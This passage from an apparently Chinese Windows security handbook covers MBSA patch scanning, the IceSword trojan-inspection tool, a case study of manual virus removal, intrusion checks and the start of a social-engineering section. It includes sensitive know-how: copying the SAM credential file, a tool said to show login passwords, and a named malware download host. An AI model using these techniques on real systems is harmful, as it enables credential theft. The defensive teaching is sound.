• Scan a computer:使用计算机名称或者IP地址来检测单台计算机,适用于检测本机或者网络中的单台计算机。
• Scan multiple computers:使用域名或者IP地址范围来检测多台计算机。
• View existing security scan reports:查看已经检测的安全报告。

02 设置单机MBSA扫描选项

单击“Scan a computer”选项,会出现一个扫描设置窗口,如图8-10所示。如果仅仅针对本机就不用设置“Computer name”和“IP address”选项了,MNSA会自动获取本机的计算机名称,本例中扫描的计算机名称为“WORKGROUP\SIMEON”。如果要扫描网络中的计算机,则要在“IP address”文本框中输入欲扫描的IP地址。在MBSA扫描选项中,默认会自动命名一个安全扫描报告名称(% D%-%C%(%T%)),即“Security report name”,该名称按照“域名-计算机名称(扫描时间)”进行命名,用户也可以输入一个自定义的名称来保存扫描的安全报告。然后,勾选“Options”设置区中前4个安全检测选项。

图8-10 设置MBSA扫描选项

说明
(1)在“Options”中有5个选项,下面分别进行说明。
• Check for Windows administrative vulnerabilities:检测Windows管理方面的漏洞。
• Check for weak passwords:检测弱口令。
• Check for IIS administrative vulnerabilities:检测IIS管理方面的漏洞,如果计算机提供Web服务,则可以选择。在本例中,由于是Windows XP系统,一般情况下都没有安装IIS,因此可以不选择。
• Check for SQL administrative vulnerabilities:检测SQL程序设置等方面的漏洞,如检测是否更新了最新补丁、是否进行了口令设置等。
• Check for security updates:检测安全更新。主要用于检测系统是否安装了微软的补丁,不需要通过微软的正版认证。
前4项是安全检测选项,可根据实际情况选择,最后一项是微软的站点更新安全策略、安全补丁等最新信息,如果不具备联网环境可以不选择。
(2)单击“Cancel”按钮后会退回上一个窗口。
(3)单击“Scanning Options”选项可以查看扫描选项的详细说明。
(4)如果勾选了“Check for security updates”复选框,程序会进行自动更新,如图8-11所示。扫描时会等待一段时间,根据网络连接及更新量的大小,有时等待时间会比较长,直到下载更新信息后才会自动进行安全扫描。在下载过程中,可能出现CPU占有率比较高的情况,这是正常的。MBSA将更新下载到本地后,需要对程序和策略进行更新,所以会出现占有率比较高的情况。
图8-11 程序下载策略等更新

03 扫描漏洞

单击“Start Scan”按钮,开始扫描。扫描结束后,程序会自动跳转到扫描结果窗口,如图8-12所示,可以查看本次扫描的详细信息。在扫描报告中可以按照“Score(worst first)”和“Score(worst first)”两种方式进行排序,显示扫描结果。在扫描结果中,主要有“Security Update Scan Results”、“Windows Scan Results”、“Internet Information Services (IIS) Scan Results”、“SQL Server Scan Results”和“Desktop Application Scan Results" 5种。

图8-12 扫描报告

04 扫描结果分析

从扫描结果中可以看到,有5个红色的盾牌标志,表明系统存在3个较为危险的安全隐患或者高安全风险。如图8-13所示,其中需要关注的有4个风险,风险等级最高的是未安装Office安全更新,其次是Windows有4个安全补丁需要更新。

图8-13 分析扫描结果

05 查看扫描报告

扫描报告是进行安全加固的一个参考,我们先看“Security Update Scan Results”。在“Security Update Scan Results”中可以看到“What was scanned”、“Result details”和“How to correct this" 3个链接,如图8-14所示,它们分别对应于扫描的对象、扫描结果的详细信息和如何纠正存在的安全隐患(漏洞)。

图8-14 查看不同安全扫描结果

单击“What was scanned”链接,会显示MBSA扫描了哪些安全选项;单击“Result details”链接,可以查看安全更新的检测报告,如图8-15所示,会给出按照ID、Description、Maximum Severity及Download排序的结果。

图8-15 查看详细的安全扫描结果

06 修补系统漏洞

在详细结果中,红色盾牌图标表示系统缺少这个补丁,可以单击“Download”按钮下面的图标下载补丁,然后直接运行该程序进行安装,详细的安装过程就不介绍了,有些补丁更新后可能会要求重启系统。选择修补系统补丁可以参看“Maximum Severity”,如果是“Critical”则必须进行安装,否则可以根据实际情况进行修补。在详细结果的下方还可以看到已安装补丁的列表,从该列表中可以知道Windows 7的最新补丁ID,在DOS提示符下运行“systeminfo”命令时,也会显示系统更新的最高补丁ID,该ID可以作为系统最新补丁的一个参考。如图8-16所示,使用“systeminfo”命令检测到系统的最新补丁是一致的。

图8-16 使用systeminfo命令检测系统补丁更新情况

注意
对于系统中安装的特殊应用,强烈建议在进行系统更新之前对当前系统进行Ghost备份,防止由于更新不当而导致系统出现意外情况。

07 纠正扫描结果中出现的安全问题

在扫描结果中,如果出现了“How to correct this”,则表明系统或者应用存在安全问题,需要根据实际情况进行修补。单击“How to correct this”链接,进入具体的修复建议页面,如图8-17所示,在该页面中会给出详细的修复步骤或者方法。

图8-17 纠正扫描结果中出现的安全问题

08 查看所有的扫描报告

使用MBSA对系统进行扫描后,会自动保存扫描的报告,在MBSA程序的主界面单击“View existing security scan reports”选项即可查看,如图8-18所示。对这些扫描结果还可以根据IP地址、扫描时间、安全评估、计算机名称等进行升/降序排列,双击选中的记录即可查看扫描的详细报告。这些报告可以作为安全检查的依据,通过对比加固前后的报告可以知道系统目前的安全状况。

图8-18 查看扫描报告

09 对多台计算机进行扫描

可以使用MBSA对网络中的多台计算机进行扫描。在MBSA程序主界面中单击“Scan multiple computers”选项,其设置与对单台计算机的扫描设置和过程类似,这里不再赘述。在进行自动扫描时,用来运行MBSA的账户也必须是管理员或者是本地管理员组的成员。在扫描多台计算机时,必须是每台计算机的管理员或者域管理员,而且扫描计算机的135、139、445端口是开放的,如果没有开放,可以暂时关闭防火墙,扫描结束后再恢复防火墙。

8.2.3 总结与体会

本文详细介绍了如何使用MBSA来扫描和修补系统中存在的安全漏洞。使用MBSA可以很容易地发现系统及所部署应用方面存在的问题或者安全隐患,通过微软提供的修正建议进行修复。只要能够看懂MBSA上的有关操作和说明,即可进行安全漏洞扫描和加固。MBSA是一个好用的安全工具,美中不足的是目前MBSA仅提供德语、法语、英语和日语4种语言版本。

8.3 使用“冰刀”进行安全检查

“冰刀”的英文名为“IceSword”,也称“冰刃”,简称“IS”,是由PJF出品的一款系统诊断、清除利器,其个人博客(http://www.blogcn.com/user17/pjf/index.html)上有关于该产品的一些说明,下载地址为http://mail.ustc.edu.cn/~jfpan/download/IceSword122cn.zip。它适用于Windows 2000/XP/2003操作系统,其内部功能十分强大,可用于探查系统中的木马后门,并进行相应的处理。IceSword使用了大量新颖的内核技术,使这些后门无处躲藏,是一款检查后门的好工具。IceSword目前只供32位x86兼容CPU的系统使用,运行IceSword需要管理员权限,其主要功能如下。

• 查看进程:查看运行进程的文件地址、各种隐藏的进程及优先级;可以轻易“杀”掉用任务管理器、Processes XP等工具“杀”不掉的进程;还可以查看进程的线程、模块信息等。
• 查看端口:类似于Cport、Active Port这类工具,显示当前本地程序打开的端口及相应的应用程序地址、名字,包括使用各种手段隐藏了端口的工具。
• 内核模块:加载到系统内和空间的PE模块,一般都是驱动程序(*.sys)。可以看到各种已经加载的驱动,包括一些隐藏的驱动文件。
• 启动组:可以查看Windows启动组里的文件路径、名称及文件等,缺点是无法对启动文件进行删除。

• 服务:用于查看系统中被隐藏的或未隐藏的服务,隐藏的服务以红色显示。提供对服务的操作,可以启动、停止或者禁用服务。
• 查看SPI和BHO:SPI是服务提供接口,即所有Windows的网络操作都是通过这个接口发送和接收数据包的。BHO是浏览器的辅助插件,用户启动浏览器的时候,它就可以自动启动,弹出广告窗口等。IceSword提供了对SPI和BHO模块的查看功能。
• 查看SSDT(System Service Descriptor Table):内核级后门有可能修改系统服务描述表,以截获系统中的服务函数调用,特别是一些旧的Rootkit。
• 查看消息钩子:若在DLL中使用SetWindowsHookEx设置一些全局钩子,系统会将其加载入使用user32的进程中,因而它也可被利用,作为无进程木马的进程注入手段。
• 线程创建和线程终止监视:将IceSword运行期间的进线程创建调用记录在循环缓冲里,记录一个进程被其他进程Terminate的情况。
• 注册表:IceSword中的“注册表”项主要用来查找被木马后门隐藏的注册项,它不受目前任何注册表隐藏手法的蒙蔽,可以查看注册表实际内容。
• 文件:IceSword的文件功能类似于资源管理器,与资源管理器相比具有反隐藏、反保护的机制。通过IceSword还可以直接复制system32\config\SAM文件,直接删除已经加载的驱动等。

在网络安全领域,一个最基本的原则就是确认自己安全,包括一些入侵者在入侵成功后,它也需要对控制计算机进行安全检查,删除前人留在系统中的后门,对系统进行安全加固。下面使用IceSword 1.22汉化版对计算机进行安全检查,查杀木马等程序。推荐使用IceSword来结束进程、删除文件及打开SAM文件。

8.3.1 检查进程

运行IceSword 1.22汉化版后,单击其界面左边的“进程”按钮,会列出系统中所有的进程,显示的进程数是正在运行的进程。选中“aswUpdSv.exe”并单击右键,可以查看线程信息、查看模块信息、进行内存读写及结束进程,如图8-19所示。

图8-19 检查进程

8.3.2 查看端口

IceSword的端口查看功能非常强大,能够查看一些普通端口软件不能查看的隐藏端口。单击“端口”按钮,即可查看系统中的应用程序使用的协议、本地地址、远程地址、进程及程序名称等信息,如图8-20所示,其中最关键的是本地地址、远程地址及进程程序名称,通过这些信息可以判断进程是否为木马程序进程。

图8-20 查看端口

内核模块主要用来检查Rootkit等驱动级别的木马程序,IceSword检查出异常的驱动后会以红色显示。

8.3.3 删除文件

木马程序即有可能采用进程保护等方式,防止和禁止用户中止进程,一般情况下很难删除这些DLL等文件,而在IceSword中可以轻松地删除这些文件。对本例中遇到的BHO木马程序插件,我们只知道该DLL肯定不是系统自带的,必须将其删除。如图8-21所示,在IceSword中单击“文件”模块,然后到BHO木马程序的当前目录下选中需要删除的DLL文件,单击右键,在弹出的快捷菜单中单击“强制删除”选项,将该文件删除。

图8-21 删除BHO木马插件

8.4 手工清除病毒

对于感染了病毒的操作系统,一般采取两种方式:一种是重装系统;另一种是彻底清除病毒。对于前者,如果在系统安装完毕后进行了备份,那么也可以采取还原系统的方法,而后者相对难度大一些,还有一些安全风险。

8.4.1 故障现象

我们看一下本例的故障表现:计算机启动后,运行速度非常慢,打开任何程序都需要三四分钟;根本无法登录业务系统;该计算机与公司总部的ERP系统相连,打印发票等工作也都由该计算机负责;该计算机通过CDMA上网卡连接互联网。

首先,需要对计算机的运行状况进行初步的诊断,并了解计算机出现问题的详细情况。通过询问该计算机的操作人员,判断如下。

• 计算机肯定感染了病毒。
• 计算机从未做过安全加固,哪怕是简单的安全加固都没有。
• 操作系统未进行备份,重要业务系统均安装在系统盘中。
• 病毒可能是通过U盘或网络感染和传播的。

由于该系统未进行任何备份,因此重装系统显然不可行。虽然重装系统是最为安全和便捷的方法,但由于很多业务系统都是公司直接配发,重装系统后恢复业务系统比较困难,所以考虑实际情况,只能手工杀毒。

8.4.2 清除部分病毒

我们通过以下方法尝试清除部分病毒。

1.制作干净的病毒检测和清除工具盘

说是手工清除病毒,其实还是借助了一些工具。虽然手工清除也是可以的,不过既然有好用的工具软件,为什么还要舍近求远呢?首先准备一个可设置为可读和可写的U盘,如果没有这种U盘,可以将工具软件刻录到光盘中。在本次病毒清理中,计算机是由公司统一配发的,没有安装光驱,且手头也没有光驱可用,因此只能使用U盘。在U盘中,我们需要准备以下软件。

• Autoruns:用来清理和查看注册表、自启动、服务等。
• CurrPorts.exe:查看网络连接情况。
• 360安全卫士安装程序:清理恶意插件。
• 小红伞杀毒软件:查杀病毒。
• 冰刀(IceSword):对“疑难杂症”进行处理。
• ProcessExplorer:查看和终止进程。
• 一键Ghost:备份和还原操作系统。

2.解决CMD不能运行的问题

病毒已经修改了文件关联,可执行程序无法打开,CMD打开后马上关闭。在“运行”文本框中输入“command”,打开DOS窗口,将U盘中的文件复制到D盘中。在复制过程中,U盘病毒不停地读写U盘,由于U盘已经设置为“只读”,因此会一直出现读写磁盘错误。通过任务管理器查看进程,发现很多可疑进程。选中可疑进程并结束进程,出现无法结束或者结束后马上启动的情况,看来病毒采取了一些保护措施。先不管这个问题,到工具目录直接运行autoruns程序。

说明
(1)很多时候,病毒会修改注册表和文件关联,在打开文件时总是出现“选择打开文件”对话框,即使选择正确的可执行文件也无法执行。例如,用“记事本”程序打开TXT文件也会出错。如果出现这种情况,一种办法就是恢复注册表,另一种方法就是通过command命令加载可执行程序进行清理,包括执行一些DOS命令。
(2)病毒一般会禁用CMD、注册表等可执行程序,这个时就需要运行command命令来恢复系统中的注册表等。

3.使用autoruns清理病毒

01 清除Scheduled Tasks中的木马加载项

在autoruns主窗口单击“Scheduled Tasks”标签页,在其中可以看到“At1.job”选项,它的描述是“Microsoft Corporation”,其可执行文件路径为C :\WINDOWS\system32\winhelp.exe,一看就知道该加载选项是病毒,选中并直接删除该选项即可。

说明
了解系统可执行文件的读者应该知道,winhelp文件主要存储在C:\WINDOWS和C:\WINDOWS\ system32\dllcache目录下,C: \WINDOWS\system32目录下绝对不会有winhelp.exe文件,如图8-22所示,在正常系统中查找winhelp.exe的结果。通过实际经验判断,winhelp为U盘病毒,因此必须将其清除。
图8-22 正常的winhelp文件所在正确路径和文件大小

02 安装一键Ghost软件

很多读者可能会问,为什么要在这一步安装一键Ghost软件?这一步很简单,也很有必要!现在很多病毒软件写得比较“邪恶”,对系统的感染程度非常深,一不小心系统就无法启动。因此,安装软件后,一定要及时和尽可能早地安装Ghost备份和还原软件。安装完毕,对系统进行备份,再进行病毒的清理,以防清理病毒失败,或者在出现意外情况时可以及时恢复系统。

03 对系统进行安全备份

安装Ghost软件后,对系统进行备份。做备份一定要在系统重启且可以正常运行的情况下,否则就失去了做备份的意义。关于Ghost一键备份的使用,在此就不赘述了。

04 清除可疑和病毒加载的服务

再次通过command命令启动autoruns程序,在autoruns主窗口中单击“Services”选项卡,如图8-23所示,可以看到很多找不到文件的服务,其中一些服务的名称与正常的服务名称和文件非常类似。删除可疑的服务和由病毒加载的服务。建议没有病毒清理经验的读者先在正常的计算机上熟悉和了解正常的服务和程序,以免误删!在清理服务时,虽然要本着“实行宁可错杀一千,不可放过一个”的原则,但还是建议对服务文件所在路径进行验证。如果具备上网条件,可以通过搜索引擎进行搜索,以验证该服务是否是正常文件的服务。

图8-23 清除可疑服务和病毒加载的服务选项

05 清除可疑的和病毒的驱动

在autoruns中单击“Drivers”选项卡,如图8-24所示,可以看到naivaf5x.sys和mvstdi5x.sys驱动无任何描述和发行信息,是重点怀疑对象,可在选中后直接将其删除。拖动滚动条,删除下边的可疑服务。删除服务后重启计算机,看看计算机能否正常启动,然后进行系统备份。这样做虽然烦琐一些,但是可以稳打稳扎,逐步清除病毒。

图8-24 清除可疑服务和病毒驱动程序

06 删除U盘病毒的自保护病毒程序

如图8-25所示,在autoruns的“Everything”选项卡中可以看到启动项目中的“C:\WINDOWS\ system32\regsvr.exe”选项,正常系统中的文件应该是“C :\WINDOWS\system32\regsvr32.exe”,而不是“regsvr.exe”,病毒就是借助文件名称来混淆正常文件的。在清理病毒过程中发现,“regsvr.exe”和“winhelp.exe”是互相启动的,因此需要清除所有与这两个文件有关的地方。

图8-25 删除U盘病毒的自保护病毒程序

07 删除随机ShellExecuteHooks下的病毒文件

在“资源管理器”中双击图标,运行程序或打开文件,都会激活其中的项目,“ShellExecute Hooks”是木马病毒最喜欢的地方之一。据笔者了解,以前某些版本的瑞星杀毒软件就不会查杀这个位置。在这里可以看到很多随机生成的病毒文件,笔者大致数了一下,有200多个,选中后将其逐一删除。需要注意,删除的是随机生成的文件,这些文件与正常文件有很大的区别。

08 清除Logon中的病毒加载选项

单击“Logon”选项卡,同样发现了C :\WINDOWS\system32\regsvr32.exe,选中并删除它,如图8-26所示。

图8-26 清除Logon选项卡中的病毒加载选项

4.清除物理位置的病毒文件

前面我们清除了系统启动、Scheduled Tasks、ShellExecuteHooks、Drivers、Services下面的可疑程序和病毒,这些清除操作只是在注册表中进行,清除这些选项是为了防止或者禁止病毒在启动时加载。要想实际清除病毒,还需要手动清除物理位置的病毒,如图8-27所示,可以在“回收站”中看到一些被删除的文件。

图8-27 删除实际的病毒文件

5.卸载无关软件

如图8-28所示,打开360安全卫士的软件管理界面,然后单击“软件卸载”按钮,卸载一些与业务系统无关的程序。在该计算机上安装了杀毒软件,但该杀毒软件根本没有起到应有的杀毒和防范作用,反而占用系统资源,建议将其卸载。

图8-28 卸载无关的应用程序

说明
在本次病毒清理过程中,尝试使用“控制面板”中的“添加/删除程序”功能来卸载一些无用程序,无奈速度太慢,且容易出问题,因此,使用第三方软件提供的卸载软件功能也不失为一种卸载软件的良方!

6.简单加固系统

在每一个盘符下面新建一个“autorun.inf”文件夹,在“运行”文本框中输入“gpedit.msc”,打开“组策略编辑器”窗口,依次单击“用户配置”→“系统”→“关闭自动播放”选项,打开关闭自动播放属性设置窗口,在其中选中“已启用”单选按钮,在“关闭自动播放”下拉列表中选择“所有驱动器”选项,如图8-29所示,单击“确定”按钮使设置生效,防止光盘和驱动器自动启动和播放。

图8-29 禁止驱动器自动播放

7.重启系统、验证并进行系统备份

至此,我们已经对系统中的部分病毒进行了清理和清除,同时卸载了系统中的一些无关应用程序。重启系统后,看看系统是否能够正常使用。如果一切正常,就重新对系统进行备份。这个时候,系统已经能够正常使用,运行速度较清理前有了很大提高。

8.4.3 继续修复系统

在清除部分病毒文件之后,我们继续修复系统。

1.删除“无法”删除的文件

在清除病毒的过程中,可能会遇到一些比较“顽固”的病毒。在系统的COM文件夹下有一个mfc42.dll文件夹,很明显,这个文件夹有问题,既无法浏览,也无法打开,使用正常的文件删除步骤根本无法删除,即使使用WINRAR的压缩后也无法删除。这个时候,就可以使用IceSword的强制文件删除功能将其删除。

IceSword的强制文件删除一个非常好用的功能,方法就是使用IceSword浏览磁盘中的文件,找到需要删除的文件夹或者文件,选中需要删除的文件或者文件夹,然后单击右键,在弹出的快捷菜单中选择“强制删除”选项,即可强制删除一些无法删除的文件或者文件夹。

2.无法升级病毒库的处理

对病毒进行清理后,需要对系统漏洞及恶意插件进行清理。在本例中,主要使用360安全卫士进行检测,连接网络后发现无法升级特征库,看来病毒修改了Hosts文件。直接到系统的C:\WINDOWS\ system32\drivers\etc目录下打开Hosts文件,如图8-30所示,果然病毒已经修改了Hosts文件。在Hosts文件中,第5行到第7行是公司的ERP、DB、TXT服务器对应的IP地址和域名,后面的内容显示病毒已经将目前所有的杀毒软件和安全检测软件的网站及病毒库升级地址指向病毒设定的IP地址,致使它们无法升级病毒库,让病毒一直逍遥“法”外。在检测过程中发现,该病毒还特别“好心”地将原来的Hosts文件打包压缩了。直接解压缩,恢复Hosts文件,就可以升级360安全卫士的特征库了。

图8-30 病毒修改了Hosts文件

3.使用安全360卫士进行安全检测

打开360安全卫士,单击“清理恶评插件”选项,对检测出来的恶意插件和病毒进行清除。扫描结果表明,该系统由于未修补MS08067漏洞补丁,在上网时访问了存在木马病毒的网页,从而导致系统运行缓慢。根据360安全卫士检测的提示,清除该病毒需要下载顽固木马专杀工具。将该工具下载到本地,然后进行查杀,如图8-31所示,果然检测出两个病毒,将其清除即可。

图8-31 使用360顽固木马专杀大全查杀病毒

4.木马病毒疯狂下载病毒

01 找到木马病毒下载者

根据经验,估计该木马病毒会自动从木马网站下载病毒。访问Temporary Internet Files文件夹,该木马病毒下载了15个病毒文件,其下载地址为http://www.down008867.com/mtv/,文件按照xpn的格式进行命名。在该文件夹中还存在一个读取地址的文件sl.txt,该文件自动木马病毒知道下载的地址。

02 清除木马下载者

直接删除“Temporary Internet Files”目录下的所有文件,在系统目录中发现木马下载者文件ilobbyupdater117.exe。

5.修补系统漏洞

使用安全360卫士扫描和修补系统中存在的漏洞,最后使用其高级工具中的进程查看器查看其进程、服务及网络连接等。确认系统正常后,重新对系统进行备份。

8.4.4 小结

本次手工清除病毒对笔者来讲是一种挑战,是运用多种方法和技术清除病毒和加固系统的一次实战,个人感觉收获很多,主要有以下几点。

• 在清除病毒的过程中,一定要随时做好系统的备份工作。笔者在开始清除病毒时,由于未对系统进行备份,导致系统启动后无法显示桌面,看似系统正常启动,而实际上关键进程都被病毒劫持了。后面每前进一小步,都需要对系统进行备份,再寻找和清除病毒。
• 如果系统的一些关键进程被劫持,则优先考虑使用专用杀毒软件来解决,这样做的效率较高,且不容易出现问题。
• 使用autoruns、icesword、CurrPorts、360安全卫士安装程序、ProcessExplorer及一键Ghost等普通软件可以清除绝大部分病毒。
• 在清理病毒时要注意可执行文件的名称和大小,这需要平时的经验积累。

8.5 计算机网络入侵安全检查研究

据FBI的统计,由于计算机犯罪所造成的经济损失仅2003年就达2000亿美元,由于网络黑客培训的兴起及黑客录像的大量传播,加上成为黑客的好奇心,以及利用黑客手段可以获取资料来牟取非法利益,越来越多的人喜欢上了入侵,促使我国的网络入侵刑事案件呈上升趋势。网络入侵,轻则造成个人资料的丢失和一些轻微的破坏,重则不仅让个人和公司蒙受巨大的经济损失,而且极有可能导致因发生泄密而危害国家安全。2006年7月,美国海军10万名官兵的信息在网上泄露,这些信息资料多数属于机密信息。我国也曾经发生多起因军人的个人或工作计算机上网而导致的泄密事件,只是媒体报道较少。虽然很多个人计算机安装了防火墙及杀毒软件,但仍然不能完全防止网络入侵,很多资料的泄露都是因个人计算机上网发生的。因此,上网计算机的安全问题不容乐观,了解和掌握一定的网络入侵安全检查方法,减少由网络入侵带来的经济损失十分有必要。

8.5.1 网络入侵的途径

计算机病毒入侵主要有源代码嵌入攻击型、代码取代攻击型、系统修改型和外壳附加型4种方式,而对网络入侵来讲,笔者认为主要分为主动入侵和被动入侵。

主动入侵主要是指用户主动执行病毒及木马程序。例如,浏览网站中植入了恶意病毒及其木马程序的网页,这些木马程序(病毒)大多是利用操作系统的漏洞,当用户访问网页时,将主动下载该类木马程序并执行。再如,目前比较流行的U盘病毒,通过U盘传播和执行,这种类型的攻击非常隐蔽,不易察觉,当用户连接互联网时,木马(病毒)的客户端可以对感染木马(病毒)的服务端进行控制。

被动入侵主要是指由入侵者主动发动的攻击,如扫描系统口令、利用系统存在的远程溢出漏洞进行溢出攻击、SQL注入攻击等。如果用户具有一定的安全意识,被成功入侵的几率较低。

通过分析研究发现,对于网络计算机采取以下措施将大大降低安全风险。

• 及时更新操作系统补丁程序。系统安装完成后,不要立即连接互联网,而是安装操作系统最新的一些安全补丁程序,特别是安装一些高危漏洞的补丁程序。很多网页就是利用这些漏洞来执行木马程序的。
• 安装杀毒软件和防火墙,及时更新病毒库。及时更新杀毒软件的病毒库可以有效查杀病毒和木马程序。
• 谨慎下载软件。目前计算机运行的很多程序大多为盗版,无法进行来源验证,很多从网上下载的程序都捆绑了木马程序,因此,不要运行来历不明的程序,要尽量到大型正规网站下载软件。
• 做好系统和数据备份工作。系统安装完成后,一定要进行数据和操作系统的备份,最好做一个Ghost文件,以便出现问题后可以立即恢复系统或者数据。

8.5.2 被入侵后的保护措施

不管是普通个人计算机还是工作用计算机,保护好入侵现场是十分有必要的,入侵现场可以作为评估经济损失和追踪入侵者的重要证据。发生网络入侵后,如果有安全事件应急方案,应当按照应急方案或者措施执行。

1.报告上司、网警、公安部门或国家安全部门

在计算机被入侵后,一般采用3种方式:一种是彻底格式化硬盘,重新安装操作系统和软件;一种是安装一些木马查找软件,查杀木马和病毒后继续使用;还有一种是利用原来系统中的Ghost备份进行恢复。正确的方法应该是评估计算机中数据的价值,根据数据的重要程度进行相应的操作。一旦发现计算机被入侵,应立刻将网络断开,并报告公司安全部门、网警或国家安全部门等处理网络安全事件的机构,再进行相应的处理。

2.保留证据

在发生网络入侵后,一个很重要的步骤就是保留证据。面对入侵,最可能留下证据的就是硬盘。下面给出一些可供参考的保留证据的步骤。

• 使用软驱启动并克隆整个硬盘。在选择克隆硬盘时,通过软盘启动并克隆是为了保证系统的时间不被更改。操作系统的一些文件会在启动计算机时进行时间的更新,为了保证时间的准确性,应该从软驱启动并通过软盘克隆硬盘中的系统盘及其他物理盘。
• 将被入侵硬盘存封,保留直接证据。
• 还原操作系统,使被攻击服务器或者个人计算机恢复正常。

• 修改在本机上使用的相关软件及操作系统账号的登录密码。
• 如果是服务器,则需要通知网络用户更改相应的密码

8.5.3 安全检查方法

下面详细介绍对被入侵计算机的安全检查方法。

1.检查计算机用户

在被入侵的计算机中,极有可能添加了新用户或者对用户进行了克隆,可以按照以下方式进行检查。

01 查看目前用户。使用“net localgroup administrators”命令查看当前具有管理员权限用户的列表。也可以通过执行“lusrmgr.msc”命令查看本地用户和组。

02 使用“mt-chkuser”命令查看用户是否被克隆。mt.exe是一款非常强大的网络工具,它主要在命令行方式执行,可以开启系统服务,检查用户及直接显示用户登录密码等。其中一个比较实用的命令就是“mt-chkuser”,用来查看系统是否存在被克隆用户。

2.查看网络连接情况

使用“netstat-an->netlog-1.txt”命令将目前端口的开放情况及网络连接情况生成netlog-1文本文件,以便查看网络开放的端口和连接的IP地址等,从而追踪入侵者。

3.查看远程终端服务

Windows2000/XP/2003默认的远程终端服务都是手动的。查看远程终端开放情况可以采取以下方法。

(1)查看Terminal Services服务的启动情况

打开管理工具中的“服务”控制面板,查找名称为“Terminal Services”的服务,直接双击该服务名称就可以查看远程终端开放情况,如图8-32所示。Terminal Services启动类型有自动、手动和禁用。如果发现其启动类型为自动,则说明极有可能被入侵。

图8-32 查看远程终端服务

(2)使用DOS命令query/quser

使用“query user/quser”命令可以直接查看目前远程终端的服务连接情况,不过该命令只能在Windows 2000/2003 Server中使用,在Windows XP中需要到系统目录下的dllcache目录下执行。在Windows XP中,默认连接就是控制台连接,即sessionname为“console”。

说明
在进行检查前,需要确定是否存在query.exe和quser.exe这两个文件及其相应文件的大小。入侵者在入侵成功后,有可能将query.exe和quser.exe文件删除或者进行替换。query.exe和quser.exe文件的大小分别为10752字节和18432字节。

(3)使用“netstat-an| find "3389"”命令查看网络连接及其端口开放情况

使用“netstat-an| find "3389"”命令可以查看目前正在使用远程终端的连接及其3389端口开放情况。

(4)通过注册表查看3389端口开放情况

分别查看注册表键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]和[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp]下的PortNumber值。默认PortNumber的值为3389,如果发现其值不是3389,则可以肯定有入侵发生。

4.Web服务器的安全检查

(1)SQL Server 2000等数据库的安全检查

目前对Web服务器进行SQL注入是一种主流攻击方式。SQL注入攻击最有可能留下痕迹的就是SQL Server 2000等数据库中的临时表。

通过HDSI等软件进行SQL注入攻击,在数据库中会留下临时表,因此,可以通过数据库的企业管理器或者查询处理器进行表的浏览,直接查看新建表的情况。

(2)Web日志文件检查

如果Web服务设置了日志记录,系统会在默认的“%SystemRoot%\system32\Logfiles”目录下对用户访问等信息进行记录。日志文件能够记录入侵者所进行的操作及入侵者的IP地址等。

5.使用事件查看器查看安全日志等

事件查看器中有安全性、系统和应用程序3类日志文件,可以通过运行eventvwr.msc调用事件查看器。安全性日志中包含特权使用、用户、时间和计算机等信息,这些信息可以作为判断入侵者入侵时间及登录方式等的信息。不过,默认情况下,日志文件记录的选项较少,需要通过组策略进行设置。

6.查看硬盘及系统所在目录新近产生的文件

如果及时发现入侵,则可以通过以下方法查看入侵者上传或安装的木马程序文件。

(1)查看系统目录文件

可以使用DOS命令“dir/od/a”或者资源管理器查看最新文件。使用DOS命令“dir/od/a”查看系统的最新文件(包含隐藏文件)时以日期进行排序。

(2)查看系统盘下用户所在文件的临时目录

查看系统盘下用户所在文件的临时目录temp,如“D:\Documents and Settings\simeon\Local Settings\Temp”,该目录下会保留一些临时文件。

(3)查看历史文件夹

历史文件夹中会保留一些入侵者访问网络的信息,可以通过访问用户所在的目录,如“D:\ Documents and Settings\simeon\Local Settings\History”查看。

(4)查看“回收站”

“回收站”中可能会有一些入侵者删除的文件记录,可以通过查看文件创建日期和跟踪文件所在位置进行入侵时间等判断。

(5)查看recent文件夹

recent文件夹中会保留一些最近操作的快捷方式,通过这些快捷方式可以了解入侵者进行的操作。

7.使用port、mport、fport等工具检查端口开放情况

port、mport、fport等都可以用来检查端口开放情况及端口由哪些程序打开。

8.使用autoruns查看进程

可以访问http://www.sysinternals.com下载autoruns。它可以很方便地检查服务加载、自动启动等,而且对于可疑的软件可以直接通过Google进行搜索。

9.检查Rootkit

Rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具,利用Rootkit技术编写的木马程序功能强大,且具有较高的隐蔽性,危害非常大。目前可以通过RootkitRevealer、Blacklight及Klister等Rootkit检测工具检测系统是否存在Rootkit类型的木马。

8.5.4 小结

本节给出了一些计算机被入侵后的常规安全检查方法,通过这些安全检查方法可以检测入侵者留在被入侵计算机上的“痕迹”,以便进行安全评估,对网络安全管理具有一定的参考价值。

8.6 电子邮件社会工程学攻击防范研究

社会工程学是信息网络安全的一个新的分支,其主要特点是利用人的弱点进行攻击。在正面渗透越来越困难的情况下,黑客越来越多地借助社会工程学,包括国内出现的密码“泄露门”,以及安全界比较著名的APT攻击,都是典型的利用社会工程学进行攻击的案例。这种攻击危害巨大,效果显著。

本节从社会工程学攻击的现状出发,详细研究电子邮件社会工程学攻击的应用手段和方式,并在此基础上对电子邮件社会工程学攻击的防范措施进行研究和探讨,希望通过这些安全防范措施降低被成功攻击的概率。

根据中国互联网络信息中心的数据统计,我过上网用户已经超过5亿,手机上网用户超过3亿,一旦接入互联网,就会成为黑客攻击的目标。在国家互联网应急中心发布的《2011年中国互联网网络安全态势报告》指出:我国遭受境外网络攻击持续增多;中国已经成为世界僵尸网络的受害者之一。与国外发达国家相比,我国在信息安全的投入和研发方面存在较大差距,尤其是安全意识。

在安全防范软件较为丰富的情况下,对个人主机渗透常用的方法就是电子邮件社会工程学攻击,个人计算机一旦被攻击者成功入侵,轻者个人资料泄露,如“艳照门”事件,重者国家机密泄露,给个人和国家带来损失。现在,电子邮件已经成为个人工作和生活的重要组成部分,因此,防范针对个人发起的电子邮件攻击就非常有必要了。目前,国内有关电子邮件社会工程学攻击的研究较少,而国外已经将电子邮件社会工程学攻击列为重要资讯部门必须培训的课程之一。笔者通过走访黑客、查询国内外文献,对电子邮件社会工程的手段、攻击方式进行深入的研究。

8.6.1 社会工程学

我们来了解一下社会工程学的相关概念。

1.社会工程学的定义

